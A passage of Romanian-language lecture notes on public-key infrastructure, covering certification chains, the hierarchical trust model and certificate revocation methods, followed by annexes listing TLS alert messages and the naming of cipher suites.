cheie publica, ce se numesc modele de incredere sau topologii de certificare, si sunt logic
distincte de modelele de comunicatie.

-relatiile de incredere intre CA-uri determina cum certificatele emise de un CA pot fi utilizate
sau verificate de alte entitati (certificate de alte CA-uri);

1. Lanturi/cai de certificare
- certificatele de chei publice ofera un mijloc de a obtine cheile publice autentice ale altor entitati,
daca entitatea care vrea sa verifice certificatul are incredere in cheia de verificare a CA-ului
care a semnat certificatul;
- in cazul mai multor CA-uri, entitatea care vrea sa obtina cheia publica autentica trebuie sa
verifice certificatul emis de un CA pt. care nu cunoaste cheia publica, solutia este:

Def: un lant de certificare corespunde la o inlantuire neintrerupta de relatii de incredere bazate


pe certificate de transfer, de la cheia publica a CA-ului de incredere la cheia publica pe care
doreste sa o obtina.

Exemplu: pp. se cunoaste P5; se cere cheia publica PB cu garantii de autenticitate;

CA5 CA4 CA3

A B

Lantul de certificate: (CA5 {CA4}, CA4 {CA3}). Unde: CA4 {CA3} – este certificatul lui CA3
semnat de CA4 ce contine P3;
Procedura:
5. cu P5 se verifica semnatura in CA5 {CA4};
6. cu P4 se verifica semnatura in CA4 {CA3};
7. cu P3 se verifica semnatura in CB;

109
8. obtine cheia autentica PB si o utilizeaza

2. Modelul de incredere strict ierarhic


- fiecare entitate porneste cu cheia publica a nodului radacina (ex. P5) => se mai numeste
modelul lant-radacina;
- este un model centralizat;

Exemplu: E11 obtine incredere in CA1 numai prin CA5;

CA5

CA3 CA4

CA1 CA2

1 1 2 2
E1 Er E1 Es

Dezavantajele modelului:
- toate relatile de incredere depind de cheia nodului radacina;
- lanturi de certificate lungi sunt necesare chiar pt. doua entitati sub acelasi CA;
- lantul de certificate lung pt. domenii mari ierarhizate;

Revocarea certificatelor de chei publice


-motive pt. revocarea certificatelor: expirare timp de viata, compromitere cheie (mai rar),
entitatea paraseste/schimba rolul intr-o organizatie, inceteaza de a cere autorizare ca client;

- doua tehnici: director de certificate de revocare (i.e. CRL) sau server de stare pentru
certificate on-line (ex. OCSP);

Def: un director de certificate este o baza de date care implementeaza pt. extragerea
certificatelor modelul cu interogare (a.k.a modelul pull) de catre utilizator.

Alternativ,
 modelul de notificare (a.k.a modelul push) pt. distribuirea certificatelor, prin care acestea sunt
distribuite la toti utilizatorii la crearea unui nou certificat sau periodic;
 transmiterea certificatului la cerere

Obs: odata compromisa cheia secreta (i.e, orice situatie in care atacatorul cunoste cheia),
minimizarea riscului se face prin prevenirea utilizarii ei=> Revocare. Daca se utilizeaza un server

110
de distribuire on-line, cheile pot fi imediat sterse si inlocuite, pe cand in cazul sistemelor cu
directoare de certificate este mai dificil prin faptul ca acestea sunt distribuite in mai multe locuri;

Tehnici si mecanisme pt. revocarea cheilor:


1. camp data de expirare certificat: limiteaza expunerea in cazul unei chei compromise.
2. notificare off-line: toti utilizatorii sunt informati despre cheile revocate prin alte mijloace; se
aplica in sisteme mici, inchise;
3. fisier public cu chei revocate: verificat de toti utilizatorii inainte de a folosi o cheie; trebuie
sa includa mecanisme de asigurarea a integritati si autenticitatii (ca la chei publice);
4. liste de revocare a certificatelor (CRL): este o metoda de management a unui fisier public
de chei revocate; o pb. este dimensiunea acestui certificat (sol: CRL delta);
Def: CRL este o lista semnata de intrari ce corespund cheilor publice revocate, fiecare intrare
indicand numarul serial al certificatului asociat, data revocarii, motivul revocarii, etc. CRL
contine numele CA si semnatura acestuia(analog certif PK);
5. certificatul de revocare: alternativa a CRL, sunt similare certificatelor de chei publice, contin
un camp revocare si data revocarii ce servesc pt. anularea certificatului corespunzator.
Certificatul de cheie publcia este sters din directorul de certificate si inlocuit cu certificatul de
revocare.

Anexa B: lista partiala a alarmelor TLS Record


Nume alarma Semnificatie
unexpected_message mesajul receptionat este neasteptat ;
protocol_version versiunea SSL/TLS nu este suportata
bad_record_mac valoare MAC receptionata eronata;
decrypt_error s-a produs o eroare a unei operatii criptografice (ex.
record_overflow incapacitate de verificare a unei semnaturi sau a unui mesaj
Finished);
lungimea mesajului record criptat este mai mare de 214 +
2048 octeti; sau dupa decriptare mesajul comprimat are mai
mult de 214 + 1024 ;
decompression_failure functia de decompresie a primit un mesaj eronat (ex. mesajul
decomprimat devine excesiv de lung);
handshake_failure transmitatorul nu a putut negocia un set acceptabil de
parametrii de securitate, pentru optiunile considerate;
illegal_parameter un camp din mesajul handshake a fost eronat (ex. in afara
domeniului acceptat sau inconsistent cu celelalte campuri)
access_denied este rezultatul functiei de c.a. a serverului ; procedura de
negociere TLS este incheiata.
unsupported_extension emisa de client pt. a notifica o extensie a mesajului
server_hello pe care nu au propus-o .
Alarme fatale

Nume alarma Semnificatie


close_notify fiecare corespondent trebuie sa transmita acest mesaj inainte
de a opri scrierea pe o conexiune ;

111
no_renegotiation notifica refuzul entitatii corespondent de a actualiza
parametrii de securitate, atunci cand se initiaza procedura de
negociere cu mesaje client/server_hello ;
bad_certificate transmis atunci cand certificatul receptionat este corupt (ex.
semnatura falsa)
unsupported_certificate tipul certificatului receptionat nu este suportat

certificate_revoked certificatul a fost revocat de CA care l-a emis


certificate_expired certificatul este expirat
certificate_unknown a aparut o eroare de procesare a certificatului
Alarme de avertizare

Anexa C: semnificatia codurilor CipherSuite-lor TLS

Cipher algorithm

TLS_RSA_WITH_3DES_EDE_CBC_SHA
Key exchange HMAC algorithm
protocol

112

S-ar putea să vă placă și